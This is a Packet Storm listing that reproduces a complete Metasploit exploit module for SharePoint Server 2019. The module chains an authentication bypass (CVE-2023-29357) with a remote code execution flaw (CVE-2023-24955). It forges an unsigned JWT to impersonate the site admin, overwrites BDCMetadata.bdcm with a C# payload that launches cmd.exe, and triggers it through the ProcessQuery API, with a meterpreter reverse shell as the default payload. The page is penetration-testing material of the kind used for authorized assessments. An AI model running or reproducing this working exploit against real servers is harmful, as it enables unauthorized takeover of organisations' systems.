Lucene search

K
packetstormJang, jheysel-r7, metasploit.comPACKETSTORM:177802
HistoryMar 27, 2024 - 12:00 a.m.

Sharepoint Dynamic Proxy Generator Remote Command Execution

2024-03-2700:00:00
Jang, jheysel-r7, metasploit.com
packetstormsecurity.com
75
sharepoint 2019
remote command execution
cve-2023-29357
cve-2023-24955
auth bypass
signature validation
json web tokens
oauth authentication
sharepoint api
businessdatametadatacatalog
bdcmetadata.bdcm
security update

7.4 High

AI Score

Confidence

Low

0.89 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'securerandom'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Sharepoint  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
class SharepointError < StandardError; end  
class SharepointInvalidResponseError < SharepointError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE',  
'Description' => %q{  
This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched  
in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.  
  
The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the  
signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing  
algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic  
flaw in the ReadTokenCore() method.  
  
After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to  
exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to  
replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The  
payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.  
},  
'Author' => [  
'Jang', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'],  
[ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'],  
[ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'],  
[ 'CVE', '2023-29357'],  
[ 'CVE', '2023-24955']  
],  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'Targets' => [  
[  
'Windows Command',  
{  
'Platform' => ['win'],  
'Arch' => [ARCH_CMD],  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',  
'WritableDir' => '%TEMP%',  
'CmdStagerFlavor' => [ 'curl' ]  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-05-01',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ])  
])  
end  
  
def resolve_target_hostname  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '_api', 'web'),  
'method' => 'GET',  
'headers' => {  
# The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME'  
'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO'  
}  
})  
  
if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i)  
hash = res['WWW-Authenticate'].split('NTLM ')[1]  
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))  
hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]  
  
hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase  
else  
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header'  
end  
end  
  
def get_oauth_info(hostname)  
vprint_status('getting oauth info')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '_api', 'web'),  
'method' => 'GET',  
'headers' => {  
# The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa  
'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh',  
'HOST' => hostname  
}  
})  
  
if res && res.headers['WWW-Authenticate']  
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/  
  
realm = Regexp.last_match(1)  
client_id = Regexp.last_match(2)  
print_status("realm: #{realm}, client_id: #{client_id}")  
return realm, client_id  
else  
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info'  
end  
end  
  
def gen_endpoint_hash(url)  
Base64.strict_encode64(Digest::SHA256.digest(url.downcase))  
end  
  
def gen_app_proof_token  
jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}"  
b64_token = Rex::Text.encode_base64(jwt_token)  
"eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh"  
end  
  
def send_get_request(url)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, url),  
'method' => 'GET',  
'headers' => @auth_headers  
})  
end  
  
def send_json_request(url, data)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, url),  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => @auth_headers,  
'data' => data.to_json  
})  
end  
  
def get_current_user  
res = send_get_request('/_api/web/currentuser')  
if res&.code != 200  
raise SharepointInvalidResponseError, 'Failed to get current user'  
end  
  
res.body  
end  
  
def do_auth_bypass  
hostname = resolve_target_hostname  
hostname = hostname.split('.')[0] if hostname.include?('.')  
  
print_status("Discovered hostname is: #{hostname}")  
  
@realm, @client_id = get_oauth_info(hostname)  
print_status("Got Oauth Info: #{@realm}|#{@client_id}")  
@lob_id = Rex::Text.rand_text_alpha(rand(4..8))  
print_status("Lob id is: #{@lob_id}")  
  
token = gen_app_proof_token  
  
@auth_headers = {  
'X-PROOF_TOKEN' => token,  
'Authorization' => "Bearer #{token}",  
'HOST' => hostname  
}  
  
user_info = get_current_user  
raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil?  
  
user_info =~ %r{<d:LoginName>.+?\|(.+)\|.+?</d:LoginName>}  
raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1)  
  
username = Regexp.last_match(1)  
if user_info.include?('true</d:IsSiteAdmin>')  
# The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint  
print_status("Successfully impersonated Site Admin: #{username}")  
else  
raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.'  
end  
@auth_bypassed = true  
end  
  
def check  
version = sharepoint_get_version  
return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil?  
  
print_status("Sharepoint version detected: #{version}")  
  
begin  
CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass  
rescue SharepointInvalidResponseError => e  
return CheckCode::Safe(e)  
end  
end  
  
def create_c_sharp_payload(cmd)  
class_name = Rex::Text.rand_text_alpha(rand(4..8))  
c_sharp_payload = <<~EOF  
#{Rex::Text.rand_text_alpha(rand(4..8))}{  
class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{  
static #{class_name}(){  
System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}");  
}  
}  
}  
namespace #{Rex::Text.rand_text_alpha(rand(4..8))}  
EOF  
  
c_sharp_payload  
end  
  
def drop_and_execute_payload  
bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?>  
<Model  
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"  
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\"  
xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\">  
<LobSystems>  
<LobSystem Name=\"#{@lob_id}\" Type=\"WebService\">  
<Properties>  
<Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property>  
<Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\">  
<![CDATA[#{create_c_sharp_payload(payload.encoded)}]]>  
</Property>  
<Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property>  
</Properties>  
<LobSystemInstances>  
<LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance>  
</LobSystemInstances>  
<Entities>  
<Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\">  
<Properties>  
<Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property>  
</Properties>  
<Identifiers>  
<Identifier Name=\"ID\" TypeName=\"System.Int32\" />  
</Identifiers>  
<Methods>  
<Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\">  
<Parameters>  
<Parameter Name=\"@ID\" Direction=\"In\">  
<TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" />  
</Parameter>  
<Parameter Name=\"@CreateProduct\" Direction=\"Return\">  
<TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor>  
</Parameter>  
</Parameters>  
<MethodInstances>  
<MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\">  
<AccessControlList>  
<AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\">  
<Right BdcRight=\"Execute\" />  
</AccessControlEntry>  
</AccessControlList>  
</MethodInstance>  
</MethodInstances>  
</Method>  
</Methods>  
</Entity>  
</Entities>  
</LobSystem>  
</LobSystems>  
</Model>"  
  
url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, url_drop_payload),  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => @auth_headers,  
'data' => bdcm_data  
})  
  
fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200  
print_good('Payload has been successfully delivered')  
entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"  
lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}"  
  
exec_cmd_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"#{entity_id}\" /><Identity Id=\"17\" Name=\"#{lob_system_instance}\" /></ObjectPaths></Request>"  
  
res2 = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'),  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => @auth_headers,  
'data' => exec_cmd_data  
})  
  
fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200  
end  
  
def ensure_target_dir_present  
res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders')  
@backup_bdc_metadata = ''  
if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog')  
print_status('BDCMetadata file already present on the remote host, backing it up.')  
res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")  
if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty?  
@backup_bdc_metadata = res_bdc_metadata.body  
store_bdcmetadata_loot(res_bdc_metadata.body)  
else  
print_warning('Failed to backup the existing BDCMetadata.bdcm file')  
end  
else  
body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' }  
res_json = send_json_request('/_api/web/folders', body)  
if res_json&.code == 201  
print_status('Created BDCM Folder')  
else  
fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder')  
end  
end  
end  
  
def on_new_session(_session)  
url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, url_drop_payload),  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' => @auth_headers,  
'data' => @backup_bdc_metadata  
})  
if res&.code == 200  
print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.')  
else  
print_error('BDCMetadata.bdcm restoration has failed.')  
end  
end  
  
def store_bdcmetadata_loot(data)  
file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it')  
print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}")  
end  
  
def exploit  
# Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass.  
unless @auth_bypassed  
begin  
do_auth_bypass  
rescue SharepointError => e  
fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}")  
end  
end  
# If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up.  
ensure_target_dir_present  
drop_and_execute_payload  
end  
end  
`